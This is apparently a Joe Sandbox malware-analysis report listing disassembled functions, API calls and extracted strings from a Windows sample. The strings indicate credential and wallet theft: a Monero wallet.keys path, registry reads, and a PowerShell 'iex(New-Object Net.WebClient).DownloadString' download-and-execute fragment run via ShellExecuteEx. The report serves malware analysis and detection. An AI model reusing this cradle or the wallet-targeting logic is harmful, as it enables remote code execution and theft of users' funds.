Associated: 00000000.00000002.2102186174.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102564814.00000000007DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102701995.0000000000976000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102725282.0000000000977000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_file.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize
String ID: :/$:/
API String ID: 1378416451-70439090
Opcode ID: bea7041351056f0d98ca129022a00108798521b270f91cb8290ea0843fd0c90b
Instruction ID: 578e6c95e66c7f5eb83eeaa9e4f995ca766143a8480c329f4405c27713dbb8b1
Opcode Fuzzy Hash: bea7041351056f0d98ca129022a00108798521b270f91cb8290ea0843fd0c90b
Instruction Fuzzy Hash: 05F0AF34E10208BBDB20DFB4DC08FAEB7B9EB58350F10C2A4BA11A72C0E670A6419F40

Function 002E99C0 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 002E99EC
GetFileSizeEx.KERNEL32(000000FF,?), ref: 002E9A11
LocalAlloc.KERNEL32(00000040,?), ref: 002E9A31
ReadFile.KERNEL32(000000FF,?,00000000,002E148F,00000000), ref: 002E9A5A
LocalFree.KERNEL32(002E148F), ref: 002E9A90
CloseHandle.KERNEL32(000000FF), ref: 002E9A9A

Memory Dump Source

Source File: 00000000.00000002.2101950818.00000000002E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2101914382.00000000002E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.0000000000391000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000039D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000003C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.000000000053E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102564814.00000000007DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102701995.0000000000976000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102725282.0000000000977000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_file.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: f9ac84b32661048a62fd9931ad6e57c3f5c9c8bbe26346536e90d5a65bcead32
Instruction ID: 02e19689857a25931b2fe1c7feef3b3be67e4c7ffdb69b884a0c9b5eefa40c7b
Opcode Fuzzy Hash: f9ac84b32661048a62fd9931ad6e57c3f5c9c8bbe26346536e90d5a65bcead32
Instruction Fuzzy Hash: EB315CB4A1020AEFDB24CF95D885BAE77B4FF48340F108169E901A7390D774A995CFA1

Function 002F4780 Relevance: 8.9, APIs: 7, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,0132ED20), ref: 002F47DB

Part of subcall function 002F8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 002F8E0B

lstrcat.KERNEL32(?,00000000), ref: 002F4801
lstrcat.KERNEL32(?,?), ref: 002F4820
lstrcat.KERNEL32(?,?), ref: 002F4834
lstrcat.KERNEL32(?,0131B338), ref: 002F4847
lstrcat.KERNEL32(?,?), ref: 002F485B
lstrcat.KERNEL32(?,0132E4D8), ref: 002F486F

Part of subcall function 002FA740: lstrcpy.KERNEL32(00300E17,00000000), ref: 002FA788

Part of subcall function 002F8D90: GetFileAttributesA.KERNEL32(00000000,?,002E1B54,?,?,0030564C,?,?,00300E1F), ref: 002F8D9F

Part of subcall function 002F4570: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 002F4580
Part of subcall function 002F4570: RtlAllocateHeap.NTDLL(00000000), ref: 002F4587
Part of subcall function 002F4570: wsprintfA.USER32 ref: 002F45A6
Part of subcall function 002F4570: FindFirstFileA.KERNEL32(?,?), ref: 002F45BD

Memory Dump Source

Source File: 00000000.00000002.2101950818.00000000002E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2101914382.00000000002E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.0000000000391000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000039D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000003C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.000000000053E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102564814.00000000007DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102701995.0000000000976000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102725282.0000000000977000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocateAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID:
API String ID: 2540262943-0
Opcode ID: c539344408f285a276005811de6263ea926e8ec74062af9a2f647f094c1467b9
Instruction ID: b13ea087e34c51ea523993ddb60625d017146602187c91062e933d20953c1f28
Opcode Fuzzy Hash: c539344408f285a276005811de6263ea926e8ec74062af9a2f647f094c1467b9
Instruction Fuzzy Hash: 493150B691020CA7CB21FBB0DC85EFDB378AF58740F404599B319A6081EEB4D69D8F95

Function 002F2C90 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 99COMMON

Download Yara Rule

APIs

Part of subcall function 002FA740: lstrcpy.KERNEL32(00300E17,00000000), ref: 002FA788

Part of subcall function 002FA9B0: lstrlen.KERNEL32(?,01328BA0,?,\Monero\wallet.keys,00300E17), ref: 002FA9C5
Part of subcall function 002FA9B0: lstrcpy.KERNEL32(00000000), ref: 002FAA04
Part of subcall function 002FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 002FAA12

Part of subcall function 002FA920: lstrcpy.KERNEL32(00000000,?), ref: 002FA972
Part of subcall function 002FA920: lstrcat.KERNEL32(00000000), ref: 002FA982

Part of subcall function 002FA8A0: lstrcpy.KERNEL32(?,00300E17), ref: 002FA905

ShellExecuteEx.SHELL32(0000003C), ref: 002F2D85

Strings

<, xrefs: 002F2D39
-nop -c "iex(New-Object Net.WebClient).DownloadString(', xrefs: 002F2CC4
')", xrefs: 002F2CB3
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, xrefs: 002F2D04

Memory Dump Source

Source File: 00000000.00000002.2101950818.00000000002E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2101914382.00000000002E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.0000000000391000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000039D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000003C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.000000000053E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102564814.00000000007DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102701995.0000000000976000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102725282.0000000000977000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShelllstrlen
String ID: ')"$-nop -c "iex(New-Object Net.WebClient).DownloadString('$<$C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
API String ID: 3031569214-898575020
Opcode ID: a95fb54c4aedabf7b94bbca1a016ac276775aa73833a9f9a0d31e2bb718f42b5
Instruction ID: 1718cb4b21d40032f8cd35ddd3dd10ff19ff9aa022e322dd0dfa9ef9b055ae2a
Opcode Fuzzy Hash: a95fb54c4aedabf7b94bbca1a016ac276775aa73833a9f9a0d31e2bb718f42b5
Instruction Fuzzy Hash: 4141D0B1C2010C9ADB18FFA0C892BFDF774AF10780F504139E60AA6195DFB46A5ACF91

Function 002E9E10 Relevance: 7.7, APIs: 1, Strings: 4, Instructions: 170memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,?), ref: 002E9F41

Part of subcall function 002FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 002FA7E6

Part of subcall function 002FA740: lstrcpy.KERNEL32(00300E17,00000000), ref: 002FA788

Strings

v20, xrefs: 002E9E21
ERROR_RUN_EXTRACTOR, xrefs: 002E9E67
@, xrefs: 002E9EF1
v10, xrefs: 002E9EA3

Memory Dump Source

Source File: 00000000.00000002.2101950818.00000000002E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2101914382.00000000002E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.0000000000391000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000039D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000003C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.000000000053E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102564814.00000000007DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102701995.0000000000976000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102725282.0000000000977000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$AllocLocal
String ID: @$ERROR_RUN_EXTRACTOR$v10$v20
API String ID: 4171519190-1096346117
Opcode ID: 2f8864ae5c8331ccf4e6579f209f1e51b44cf5d3f3f9ae23cc965794ae1fa713
Instruction ID: ca44c54d17fc168258f956ad8af5e312f7fdea43de0339411c5df19d38b02894
Opcode Fuzzy Hash: 2f8864ae5c8331ccf4e6579f209f1e51b44cf5d3f3f9ae23cc965794ae1fa713
Instruction Fuzzy Hash: A1615F70A6024CDBDB24EFA5CC96FEDB775AF40340F408128FA0A5B191EBB06A15CF52

Function 002F40B0 Relevance: 7.6, APIs: 5, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,0132E718,00000000,00020119,?), ref: 002F40F4
RegQueryValueExA.ADVAPI32(?,0132ECD8,00000000,00000000,00000000,000000FF), ref: 002F4118
RegCloseKey.ADVAPI32(?), ref: 002F4122
lstrcat.KERNEL32(?,00000000), ref: 002F4147
lstrcat.KERNEL32(?,0132ED50), ref: 002F415B

Memory Dump Source

Source File: 00000000.00000002.2101950818.00000000002E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2101914382.00000000002E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.0000000000391000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000039D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000003C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.000000000053E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102564814.00000000007DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102701995.0000000000976000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102725282.0000000000977000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValue
String ID:
API String ID: 690832082-0
Opcode ID: 3d793b349aecf1bf19d4a169e1ad34ff1c2f6d894bc2878bfe23fe8bf2888926
Instruction ID: 8858099dbc45b305700818f02abb32e92e6a2bb7e8ff647e2b62a851db4f2527
Opcode Fuzzy Hash: 3d793b349aecf1bf19d4a169e1ad34ff1c2f6d894bc2878bfe23fe8bf2888926
Instruction Fuzzy Hash: 0341B6B6D102086BDB24EBA0DC46FFE733DAF98300F404968B71556181EA759B9D8FD2

Function 002F7E00 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 002F7E37
RtlAllocateHeap.NTDLL(00000000), ref: 002F7E3E
RegOpenKeyExA.ADVAPI32(80000002,0131B968,00000000,00020119,?), ref: 002F7E5E
RegQueryValueExA.ADVAPI32(?,0132E798,00000000,00000000,000000FF,000000FF), ref: 002F7E7F
RegCloseKey.ADVAPI32(?), ref: 002F7E92

Memory Dump Source

Source File: 00000000.00000002.2101950818.00000000002E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2101914382.00000000002E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.0000000000391000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000039D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000003C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.000000000053E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102564814.00000000007DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102701995.0000000000976000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102725282.0000000000977000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 02a1ff610646ed627ac098c575aa5f980db6114820a944f7508f3c8f3ab87c24
Instruction ID: 118e3b19a34b0b67876e73d63b380c0895a862af4e9a1dbdb9d0fc183df1af49
Opcode Fuzzy Hash: 02a1ff610646ed627ac098c575aa5f980db6114820a944f7508f3c8f3ab87c24
Instruction Fuzzy Hash: 5A119EB1A54209EBD714CF94DD4AFBBFBB8FB09B10F10412AF705A7280D7B458059BA1

Function 002F9260 Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 41stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(0132E8D0,?,?,?,002F140C,?,0132E8D0,00000000), ref: 002F926C
lstrcpyn.KERNEL32(0052AB88,0132E8D0,0132E8D0,?,002F140C,?,0132E8D0), ref: 002F9290
lstrlen.KERNEL32(?,?,002F140C,?,0132E8D0), ref: 002F92A7
wsprintfA.USER32 ref: 002F92C7

Strings

%s%s, xrefs: 002F92B5

Memory Dump Source

Source File: 00000000.00000002.2101950818.00000000002E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2101914382.00000000002E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.0000000000391000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000039D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000003C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.000000000053E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102564814.00000000007DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102701995.0000000000976000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102725282.0000000000977000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID: %s%s
API String ID: 1206339513-3252725368
Opcode ID: e9a3fb31c798dc4fdddc9e0845e17902bed424ecc98a189684f73dbcd68cbec0
Instruction ID: c400e37f1d6a7608990acb8ac2a6fbd043e095bcec7a037cb9ebc763796aec21
Opcode Fuzzy Hash: e9a3fb31c798dc4fdddc9e0845e17902bed424ecc98a189684f73dbcd68cbec0
Instruction Fuzzy Hash: CD011675500208FFCB04DFECD988EAE7BB9FF59390F148148F90A8B240C631AA51EB91

Function 002E12A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 002E12B4
RtlAllocateHeap.NTDLL(00000000), ref: 002E12BB
RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 002E12D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 002E12F5
RegCloseKey.ADVAPI32(?), ref: 002E12FF

Memory Dump Source

Source File: 00000000.00000002.2101950818.00000000002E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2101914382.00000000002E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.0000000000391000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000039D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000003C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.000000000053E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102564814.00000000007DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102701995.0000000000976000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102725282.0000000000977000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 0fabd9a132a9fca96e080439c542363a6d23384472bceb615bb9605afb55c409
Instruction ID: 86fd21f56cf6f5621acd70a0dec3eb463ea7caa53d22d48378d0bd5f148894ba
Opcode Fuzzy Hash: 0fabd9a132a9fca96e080439c542363a6d23384472bceb615bb9605afb55c409
Instruction Fuzzy Hash: D60131B9A40208BBDB14DFE0DC49FAEB7B8FF48701F008159FB0597280D6719A059F51

Function 002FC84E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

___crtGetStringTypeA.LIBCMT ref: 002FC8EC
___crtLCMapStringA.LIBCMT ref: 002FC90C
___crtLCMapStringA.LIBCMT ref: 002FC931

Strings

, xrefs: 002FC896

Memory Dump Source

Source File: 00000000.00000002.2101950818.00000000002E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2101914382.00000000002E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.0000000000391000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000039D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000003C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.000000000053E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102564814.00000000007DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102701995.0000000000976000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102725282.0000000000977000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_file.jbxd

Yara matches

Similarity

API ID: String___crt$Type
String ID:
API String ID: 2109742289-3916222277
Opcode ID: b21ec9e152263f412f050398221bd7a6452436c9669071e87d03a82cf6d31205
Instruction ID: 1ba675930aa4473565bfc228e5a53f5fff498fc41f87ab128b378ac01597b2c5
Opcode Fuzzy Hash: b21ec9e152263f412f050398221bd7a6452436c9669071e87d03a82cf6d31205
Instruction Fuzzy Hash: C441E77111075C5EDB228B24CD94FFBFBED9F45784F2444F8EACA86182D2B19A548F20

Function 002F6630 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,0000003C,?,000003E8), ref: 002F6663

Part of subcall function 002FA740: lstrcpy.KERNEL32(00300E17,00000000), ref: 002FA788

Part of subcall function 002FA9B0: lstrlen.KERNEL32(?,01328BA0,?,\Monero\wallet.keys,00300E17), ref: 002FA9C5
Part of subcall function 002FA9B0: lstrcpy.KERNEL32(00000000), ref: 002FAA04
Part of subcall function 002FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 002FAA12

Part of subcall function 002FA8A0: lstrcpy.KERNEL32(?,00300E17), ref: 002FA905

ShellExecuteEx.SHELL32(0000003C), ref: 002F6726
ExitProcess.KERNEL32 ref: 002F6755

Strings

<, xrefs: 002F66D9

Memory Dump Source

Source File: 00000000.00000002.2101950818.00000000002E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2101914382.00000000002E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.0000000000391000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000039D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000003C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.000000000053E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102564814.00000000007DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102701995.0000000000976000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102725282.0000000000977000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$ExecuteExitFileModuleNameProcessShelllstrcatlstrlen
String ID: <
API String ID: 1148417306-4251816714
Opcode ID: 4498cb81a87ec2f66ee8117dac76ac84cea6c0b7fe89aa5497bdecebeeac8ab6
Instruction ID: 8e327186a4716a97df5ade5349232f6dc0095a32a8d7a3ed0e3455d39c52d939
Opcode Fuzzy Hash: 4498cb81a87ec2f66ee8117dac76ac84cea6c0b7fe89aa5497bdecebeeac8ab6
Instruction Fuzzy Hash: 03314DF1811208ABDB14EB50DC92FEEB778AF14340F4041A8F30A66191DFB46B59CF5A

Function 002F87C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64memoryCOMMON

Download Yara Rule

